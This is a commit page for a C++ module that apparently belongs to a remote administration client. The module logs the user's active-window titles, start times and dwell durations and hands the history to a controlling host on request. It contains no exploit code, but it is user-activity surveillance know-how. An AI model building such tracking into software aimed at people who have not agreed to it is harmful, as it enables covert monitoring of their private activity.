Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro
127 lines
3.9 KiB
C++
127 lines
3.9 KiB
C++
// ActivityHistory.cpp: 客户端历史活动记录采集模块
|
||
|
||
#include "stdafx.h"
|
||
#include "ActivityHistory.h"
|
||
#include "KernelManager.h" // ActivityWindow
|
||
|
||
ActivityHistory& ActivityHistory::Instance()
|
||
{
|
||
static ActivityHistory inst;
|
||
return inst;
|
||
}
|
||
|
||
void ActivityHistory::Start()
|
||
{
|
||
if (m_started.exchange(true))
|
||
return;
|
||
m_running = true;
|
||
m_thread = std::thread(&ActivityHistory::Loop, this);
|
||
}
|
||
|
||
void ActivityHistory::Stop()
|
||
{
|
||
m_running = false;
|
||
if (m_thread.joinable())
|
||
m_thread.join();
|
||
}
|
||
|
||
std::string ActivityHistory::Dump() const
|
||
{
|
||
std::lock_guard<std::mutex> lock(m_mutex);
|
||
std::string out;
|
||
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
|
||
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||
for (const auto& r : m_records)
|
||
out += r + "\n";
|
||
return out;
|
||
}
|
||
|
||
void ActivityHistory::Loop()
|
||
{
|
||
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
|
||
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
|
||
|
||
ActivityWindow aw;
|
||
HWND lastHwnd = NULL;
|
||
std::string lastTitle;
|
||
std::string startTime;
|
||
int dwellSec = 0;
|
||
|
||
while (m_running) {
|
||
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
|
||
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
|
||
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
|
||
|
||
{
|
||
std::lock_guard<std::mutex> lock(m_mutex);
|
||
|
||
if (hwnd == NULL || title.empty()) {
|
||
// 空闲/锁定/无标题:结账上一个窗口
|
||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||
lastHwnd = NULL;
|
||
lastTitle.clear();
|
||
dwellSec = 0;
|
||
} else if (hwnd == lastHwnd) {
|
||
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
|
||
++dwellSec;
|
||
lastTitle = title;
|
||
} else {
|
||
// 窗口切换:结账上一个,开始累计新窗口
|
||
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
|
||
lastHwnd = hwnd;
|
||
lastTitle = title;
|
||
startTime = NowStr();
|
||
dwellSec = 1;
|
||
}
|
||
|
||
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||
m_records.pop_back();
|
||
|
||
m_curTitle = lastTitle;
|
||
m_curStartTime = startTime;
|
||
m_curDwellSec = dwellSec;
|
||
}
|
||
|
||
Sleep(1000);
|
||
}
|
||
}
|
||
|
||
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||
{
|
||
// 标题里的换行会破坏“每行一条”,做最小清洗
|
||
std::string t;
|
||
t.reserve(title.size());
|
||
for (char c : title) {
|
||
if (c == '\r' || c == '\n') c = ' ';
|
||
t += c;
|
||
}
|
||
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
|
||
}
|
||
|
||
std::string ActivityHistory::FormatDuration(int sec)
|
||
{
|
||
if (sec < 0) sec = 0;
|
||
if (sec < 60)
|
||
return std::to_string(sec) + "s";
|
||
if (sec < 3600) {
|
||
int m = sec / 60, s = sec % 60;
|
||
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||
: std::to_string(m) + "m";
|
||
}
|
||
int h = sec / 3600, m = (sec % 3600) / 60;
|
||
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||
}
|
||
|
||
std::string ActivityHistory::NowStr()
|
||
{
|
||
SYSTEMTIME st;
|
||
GetLocalTime(&st);
|
||
char buf[32];
|
||
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||
return buf;
|
||
}
|